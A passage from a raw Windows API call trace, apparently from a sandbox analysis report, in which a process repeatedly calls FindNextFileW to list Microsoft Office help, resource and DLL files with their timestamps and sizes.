ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f470, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.HXS", cAlternateFileName="")) returned 1 [0278.019] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.OPG", cAlternateFileName="")) returned 1 [0278.019] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXC", cAlternateFileName="MSPUB_~1.HXC")) returned 1 [0278.019] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXT", cAlternateFileName="MSPUB_~1.HXT")) returned 1 [0278.019] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_F_COL.HXK", cAlternateFileName="MSPUB_~2.HXK")) returned 1 [0278.282] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_K_COL.HXK", cAlternateFileName="MSPUB_~1.HXK")) returned 1 [0278.282] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d682, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.CHM", cAlternateFileName="")) returned 1 [0278.283] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSRINTL.DLL", cAlternateFileName="")) returned 1 [0278.283] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.CSS", cAlternateFileName="")) returned 1 [0278.283] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK1.VRD", cAlternateFileName="")) returned 1 [0278.283] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x866, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK2.VRD", cAlternateFileName="")) returned 1 [0278.283] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xcae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK3.VRD", cAlternateFileName="")) returned 1 [0278.283] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdd36584, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdd36584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe8a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ocapires.dll", cAlternateFileName="")) returned 1 [0278.283] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCCMPVRD.XML", cAlternateFileName="")) returned 1 [0278.284] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OcHelperResource.dll", cAlternateFileName="OCHELP~1.DLL")) returned 1 [0278.284] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCMODVRD.XML", cAlternateFileName="")) returned 1 [0278.284] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16f0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OcPubRes.dll", cAlternateFileName="")) returned 1 [0278.284] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeinventoryagentfallback.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0278.284] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeinventoryagentlogon.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0278.284] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf637b042, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x610c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL", cAlternateFileName="")) returned 1 [0278.284] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf016e209, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.HXS", cAlternateFileName="")) returned 1 [0278.284] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXC", cAlternateFileName="ONENOT~1.HXC")) returned 1 [0278.284] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXT", cAlternateFileName="ONENOT~1.HXT")) returned 1 [0278.284] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bf5d95, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_F_COL.HXK", cAlternateFileName="ONENOT~2.HXK")) returned 1 [0278.289] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bf5d95, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_K_COL.HXK", cAlternateFileName="ONENOT~1.HXK")) returned 1 [0278.289] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcda3b5c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcda3b5c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcfce125, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x499f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONGuide.onepkg", cAlternateFileName="ONGUID~1.ONE")) returned 1 [0278.289] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc774d49, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc774d49, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc774d49, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x294d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL", cAlternateFileName="")) returned 1 [0278.289] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46d8311, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46d8311, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46d8311, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCH.VRD", cAlternateFileName="")) returned 1 [0278.289] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x140b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.CHM", cAlternateFileName="")) returned 1 [0278.289] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1cac944, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1cac944, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46d8311, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x10880, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.VSL", cAlternateFileName="")) returned 1 [0278.289] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCINTL.DLL", cAlternateFileName="")) returned 1 [0278.289] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46d8311, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46d8311, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46d8311, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGPOS.VRD", cAlternateFileName="")) returned 1 [0278.290] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x388a139, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x388a139, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x388a139, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x13290, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.VSL", cAlternateFileName="")) returned 1 [0278.290] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4870, dwReserved0=0x0, dwReserved1=0x0, cFileName="ospintl.dll", cAlternateFileName="")) returned 1 [0278.290] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTFORM.DAT", cAlternateFileName="")) returned 1 [0278.290] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x721a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL", cAlternateFileName="")) returned 1 [0278.290] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1467a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HOL", cAlternateFileName="")) returned 1 [0278.290] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa538a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HXS", cAlternateFileName="")) returned 1 [0278.291] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXC", cAlternateFileName="OUTLOO~1.HXC")) returned 1 [0278.291] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa25e3e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa25e3e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXT", cAlternateFileName="OUTLOO~1.HXT")) returned 1 [0278.291] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c1bf71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c1bf71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c42224, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_F_COL.HXK", cAlternateFileName="OUTLOO~2.HXK")) returned 1 [0278.291] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c1bf71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c1bf71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa284551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_K_COL.HXK", cAlternateFileName="OUTLOO~1.HXK")) returned 1 [0278.291] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.H", cAlternateFileName="")) returned 1 [0278.291] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa87, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.INI", cAlternateFileName="")) returned 1 [0278.291] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1f4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL", cAlternateFileName="")) returned 1 [0278.291] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSPORT.CSS", cAlternateFileName="")) returned 1 [0278.291] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, 